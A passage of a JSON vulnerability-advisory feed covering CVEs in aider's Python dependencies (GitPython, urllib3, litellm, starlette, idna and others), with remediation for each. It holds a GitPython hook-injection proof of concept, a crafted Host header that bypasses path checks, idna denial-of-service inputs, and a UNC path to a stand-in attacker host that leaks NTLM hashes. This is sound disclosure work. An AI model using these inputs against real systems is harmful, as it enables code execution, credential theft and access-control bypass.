/tmp/pwned\\n\")\nos.chmod(\"/tmp/hooks/pre-commit\", 0o755)\n\nrepo.index.add([\"README\"])\nrepo.git.commit(m=\"test\")\nprint(open(\"/tmp/pwned\").read()) # uid=...\n```\n\nTested on GitPython 3.1.46, git 2.39+.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.\n\nRemediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through:\n\n```python\nimport re\n\nif isinstance(value, (str, bytes)) and re.search(r\"[\\r\\n\\x00]\", str(value)):\n raise ValueError(\"Git config values must not contain CR, LF, or NUL\")\n```\n\nRejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.\n\nAffected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their `set_value()` call sites for externally influenced inputs.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44244"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-44431","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-qccp-gfcp-xxvc","CVE-2026-44431","PYSEC-2026-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"urllib3: Sensitive headers forwarded across origins in proxied low-level redirects","details":"### Impact\n\nWhen following cross-origin redirects for requests made using urllib3’s high-level APIs, such as `urllib3.request()`, `PoolManager.request()`, and `ProxyManager.request()`, sensitive headers — `Authorization`, `Cookie`, and `Proxy-Authorization` (defined in `Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT`) — are stripped by default, as expected.\n\nHowever, cross-origin redirects followed from the low-level API via `ProxyManager.connection_from_url().urlopen(..., assert_same_host=False)` still forward these sensitive headers.\n\n### Affected usage\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through `HTTPConnection.urlopen()` instances created via `ProxyManager.connection_from_url()`.\n\n### Remediation\n\nUpgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by `HTTPConnection`.\n\nIf upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to `ProxyManager.request()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44431"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-44432","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-mf9v-mfxr-j63j","CVE-2026-44432","PYSEC-2026-142"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"urllib3: Decompression-bomb safeguards bypassed in parts of the streaming API","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API since version 2.6.0, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, urllib3 before version 2.7.0 could still decompress the whole response instead of the requested portion in two cases:\n1. During the second `HTTPResponse.read(amt=N)` call when the response was decompressed using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. When `HTTPResponse.drain_conn()` was called after the response had been read and decompressed partially (compression algorithm did not matter here).\n\nThese issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected when streaming compressed responses from untrusted sources in either of these cases, unless decompression is explicitly disabled:\n\n1. A response encoded with `br` is read incrementally with at least two `HTTPResponse.read(amt=N)` or `HTTPResponse.stream(amt=N)` calls while using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. `HTTPResponse.drain_conn()` is called after response decompression has already started.\n\n\n### Remediation\n\nUpgrade to at least urllib3 version 2.7.0 in which the library:\n1. Is more efficient for reads with Brotli.\n2. Always skips decompression for `HTTPResponse.drain_conn()`.\n\nIf upgrading is not immediately possible, the following workarounds may reduce exposure in specific cases:\n1. For the Brotli-specific issue only, switch from [brotli](https://pypi.org/project/brotli/) to [brotlicffi](https://pypi.org/project/brotlicffi/) until you can upgrade urllib3; the official Brotli package is affected because of https://github.com/google/brotli/issues/1396.\n2. If your code explicitly calls `HTTPResponse.drain_conn()`, call `HTTPResponse.close()` instead when connection reuse is not important.\n\n\n### Credits\n\nThe Brotli-specific issue was reported by @kimkou2024.\n`HTTPResponse.drain_conn()` inefficiency was reported by @Cycloctane.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44432"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-142.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-4539","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-5239-wwwm-4pmq","CVE-2026-4539","PYSEC-2026-2987"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.20.0","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.19.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.19.2","key":"pkg:pypi/pygments@2.19.2","resource":"pygments"}]},"summary":"Pygments has Regular Expression Denial of Service (ReDoS) due to Inefficient Regex for GUID Matching","details":"A security flaw has been discovered in pygments before 2.20.0. The impacted element is the function AdlLexer of the file pygments/lexers/archetype.py. The manipulation results in inefficient regular expression complexity. The attack is only possible with local access. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4539"},{"type":"WEB","url":"https://github.com/pygments/pygments/issues/3058"},{"type":"WEB","url":"https://github.com/pygments/pygments/pull/3064"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/24b8aa76c6cd6d70f39c6dd605cce319c98e2ccc"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pygments/pygments/releases/tag/2.20.0"},{"type":"WEB","url":"https://vuldb.com/?ctiid.352327"},{"type":"WEB","url":"https://vuldb.com/?id.352327"},{"type":"WEB","url":"https://vuldb.com/?submit.774685"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-45409","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-65pc-fj4g-8rjx","CVE-2026-45409","PYSEC-2026-215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.15","resource":"idna","resource_purl":"pkg:pypi/idna@3.11"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.11","key":"pkg:pypi/idna@3.11","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix","details":"This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-47101","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-qrc4-49gv-mv9m","CVE-2026-47101","PYSEC-2026-2598"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.14","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM allows an authenticated internal_user to create API keys with access to routes that their role does not permit","details":"LiteLLM prior to 1.83.14 allows an authenticated internal_user to create API keys with access to routes that their role does not permit. When generating a key, the allowed_routes field is stored without verifying that the specified routes fall within the user's own permissions. A key created with access to admin-only routes can then be used to reach those routes successfully, bypassing the role-based access controls that would otherwise block the request, enabling full privilege escalation from internal_user to proxy_admin.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47101"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/2220f3076ac89bd2a2e3439acf57dcfbec2434c9"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/5190bd07eb23a037745d86328096f54378f1614a"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/d910a95661fce3cdd36f3b06c03ecf9c46c6457c"},{"type":"WEB","url":"https://gist.github.com/13ph03nix/9ec616e1fdc77b3673509c60206e827f"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.83.14-stable"},{"type":"WEB","url":"https://huntr.com/bounties/8e75edfb-ff05-4e63-bfca-2d93d03fb3b9"},{"type":"WEB","url":"https://www.obsidiansecurity.com/blog/litellm-privilege-escalation-rce"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/litellm-privilege-escalation-via-api-key-generation"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-47102","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-wpfp-gwwc-vwq6","CVE-2026-47102","PYSEC-2026-2600"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.10","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM allows a user to modify their own user_role via the /user/update endpoint","details":"LiteLLM prior to 1.83.10 allows a user to modify their own user_role via the /user/update endpoint. While the endpoint correctly restricts users to updating only their own account, it does not restrict which fields may be changed. A user who can reach this endpoint can set their role to proxy_admin, gaining full administrative access to LiteLLM including all users, teams, keys, models, and prompt history. Users with the org_admin role have legitimate access to this endpoint and can exploit this vulnerability without chaining any additional flaw.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47102"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/pull/25541"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/128d32d2494b759c5d15da3452452af4c6a34c01"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/e6f18ce75b111c9b93dc15c72894cbdeb53177ce"},{"type":"WEB","url":"https://gist.github.com/13ph03nix/9ec616e1fdc77b3673509c60206e827f"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.83.10-stable"},{"type":"WEB","url":"https://huntr.com/bounties/8e75edfb-ff05-4e63-bfca-2d93d03fb3b9"},{"type":"WEB","url":"https://www.obsidiansecurity.com/blog/litellm-privilege-escalation-rce"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/litellm-privilege-escalation-via-user-update"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-47265","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-hg6j-4rv6-33pg","CVE-2026-47265","PYSEC-2026-2105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP is vulnerable to cross-origin redirect with per-request cookies","details":"### Summary\n\nCookies set with the `cookies` parameter on requests are sent after following a cross-origin redirect.\n\n### Impact\n\nIf a developer uses the `cookies` parameter on a per-request basis then sensitive data might be leaked to an attacker if they manage to control a redirect.\n\n### Workaround\n\nIf unable to upgrade, using a `Cookie` header in the `headers` parameter is not vulnerable.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/f54c40851b0d6c4bbdab97ba518a223adda32478","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hg6j-4rv6-33pg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47265"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f54c40851b0d6c4bbdab97ba518a223adda32478"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-48710","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-86qp-5c8j-p5mr","CVE-2026-48710","PYSEC-2026-161","X41-2026-002"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.0.1","resource":"starlette","resource_purl":"pkg:pypi/starlette@0.52.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"starlette","subject_version":"0.52.1","key":"pkg:pypi/starlette@0.52.1","resource":"starlette"}]},"summary":"Starlette has missing Host header validation that poisons request.url.path, bypassing path-based security checks","details":"### Summary\nIn affected versions, the HTTP `Host` request header was not validated before being used to reconstruct `request.url`. Because the routing algorithm relies on the raw HTTP path while `request.url` is rebuilt from the `Host` header, a malformed header could make `request.url.path` differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on `request.url` (rather than the raw `scope` path) could therefore be bypassed.\n\n### Details\nWhen a client requests `http://example.com/foo`, it sends:\n\n```http\nGET /foo HTTP/1.1\nHost: example.com\n```\n\nAffected versions reconstructed the URL by concatenating `http://{host}{path}` and re-parsing the result. The `Host` value is only valid as a `uri-host [ \":\" port ]` per [RFC 9112 §3.2](https://www.rfc-editor.org/rfc/rfc9112.html#section-3.2-6), where `uri-host` follows the restricted `host` grammar of [RFC 3986 §3.2.2](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.2). When it contains characters outside that grammar - notably `/`, `?`, or `#` - those characters move the path/query/fragment boundaries during re-parsing, so the parsed `request.url.path` no longer matches the path the server actually received. For example:\n\n```http\nGET /foo HTTP/1.1\nHost: example.com/abc?bar=\n```\n\nreconstructs to `http://example.com/abc?bar=/foo`, whose parsed `path` is `/abc` - even though routing used the real path `/foo`. The router still dispatches to `/foo` and the endpoint executes, but any middleware or code that reads `request.url.path` sees `/abc`, so path-based authorization checks can be bypassed.\n\n### Impact\nAny application running an affected version that relies on `request.url` (or `request.url.path`) for security-sensitive decisions is affected. The most common case is middleware that gates access to certain path prefixes based on `request.url.path`. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed `Host` header before forwarding and the application does not trust attacker-controlled host headers (e.g. `X-Forwarded-Host`) elsewhere.\n\n### Mitigation\nUpgrade to a patched version, which validates the `Host` header against the grammar of [RFC 9112 §3.2](https://www.rfc-editor.org/rfc/rfc9112.html#section-3.2-6) / [RFC 3986 §3.2.2](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.2) when constructing `request.url` and falls back to `scope[\"server\"]` for malformed values.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48710"},{"type":"WEB","url":"https://github.com/Kludex/starlette/commit/764dab0dcfb9033d75442d7a359645c9f94648c6"},{"type":"WEB","url":"https://www.x41-dsec.de/lab/advisories/x41-2026-002-starlette"},{"type":"WEB","url":"https://www.secwest.net/starlette"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-48710"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48710.json"},{"type":"WEB","url":"https://ostif.org/disclosing-the-badhost-vulnerability-in-starlette"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/starlette/PYSEC-2026-161.yaml"},{"type":"PACKAGE","url":"https://github.com/Kludex/starlette"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481742"},{"type":"WEB","url":"https://badhost.org"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-48710"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:60520"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:51357"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:44696"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:43038"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37275"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:34532"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:34526"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:34456"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:30089"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:30088"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:26226"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24866"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:23346"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22993"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22992"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-48817","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-x746-7m8f-x49c","CVE-2026-48817","PYSEC-2026-2280"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.1.0","resource":"starlette","resource_purl":"pkg:pypi/starlette@0.52.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"starlette","subject_version":"0.52.1","key":"pkg:pypi/starlette@0.52.1","resource":"starlette"}]},"summary":"Starlette: Arbitrary HTTP method dispatched to `HTTPEndpoint` attributes via `getattr`","details":"### Summary\n\nWhen dispatching a request, `HTTPEndpoint` selects the handler by lowercasing the HTTP method and looking it up as an attribute with `getattr`, without restricting the lookup to a known set of HTTP verbs.\n\nWhen an `HTTPEndpoint` subclass is registered through `Route(...)` without an explicit `methods=` argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler.\n\n### Details\n\n`HTTPEndpoint` uses the client-supplied method name to resolve an instance attribute, without validating it against the set of HTTP verbs the endpoint supports. A method such as `_DO_DELETE` therefore resolves an attribute like `_do_delete` and invokes it. Non-standard methods are valid [RFC 9110](https://www.rfc-editor.org/rfc/rfc9110#name-method) token methods, so an endpoint must not treat the method name as a trusted attribute selector.\n\n### Impact\n\nAn application is affected when all of the following hold:\n\n* It defines an `HTTPEndpoint` subclass and registers it via `Route(...)` without an explicit `methods=` argument.\n* The subclass defines additional methods whose names match a non-standard HTTP-method token shape and that accept a single `request` argument and return a response.\n\nThis also affects frameworks built on Starlette, like FastAPI.\n\n### Mitigation\n\nRegister `HTTPEndpoint` subclasses with an explicit `methods=` argument on the `Route`, listing only the HTTP verbs the endpoint supports. The route then rejects any other method with `405 Method Not Allowed` before it reaches the endpoint, so non-standard methods cannot resolve an attribute.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/Kludex/starlette/security/advisories/GHSA-x746-7m8f-x49c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48817"},{"type":"PACKAGE","url":"https://github.com/Kludex/starlette"},{"type":"WEB","url":"https://github.com/Kludex/starlette/releases/tag/1.1.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-48818","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-wqp7-x3pw-xc5r","CVE-2026-48818","PYSEC-2026-2281"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.1.0","resource":"starlette","resource_purl":"pkg:pypi/starlette@0.52.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"starlette","subject_version":"0.52.1","key":"pkg:pypi/starlette@0.52.1","resource":"starlette"}]},"summary":"Starlette: SSRF and NTLM credential theft via UNC paths in StaticFiles on Windows","details":"### Summary\n\nWhen serving static files on Windows, `StaticFiles` resolves the requested path with [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath). If a UNC path (such as `\\\\attacker.com\\share`) reaches the resolver, `realpath` causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account's NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts.\n\n### Details\n\n`StaticFiles.lookup_path()` joins the requested path onto the served directory and calls [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath) on the result before checking containment with [`os.path.commonpath`](https://docs.python.org/3/library/os.path.html#os.path.commonpath). On Windows, a UNC path is absolute, so [`os.path.join`](https://docs.python.org/3/library/os.path.html#os.path.join) discards the served directory and `realpath` resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected.\n\nThis only affects the default configuration (`follow_symlink=False`), which uses [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath). The `follow_symlink=True` branch uses [`os.path.abspath`](https://docs.python.org/3/library/os.path.html#os.path.abspath), which performs no I/O.\n\n### Impact\n\nApplications running on Windows that serve files with `StaticFiles` (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. `StaticFiles` is typically unauthenticated, so any client can trigger the SMB connection and leak the service account's NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses.\n\n### Mitigation\n\nApplications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of `StaticFiles` avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is 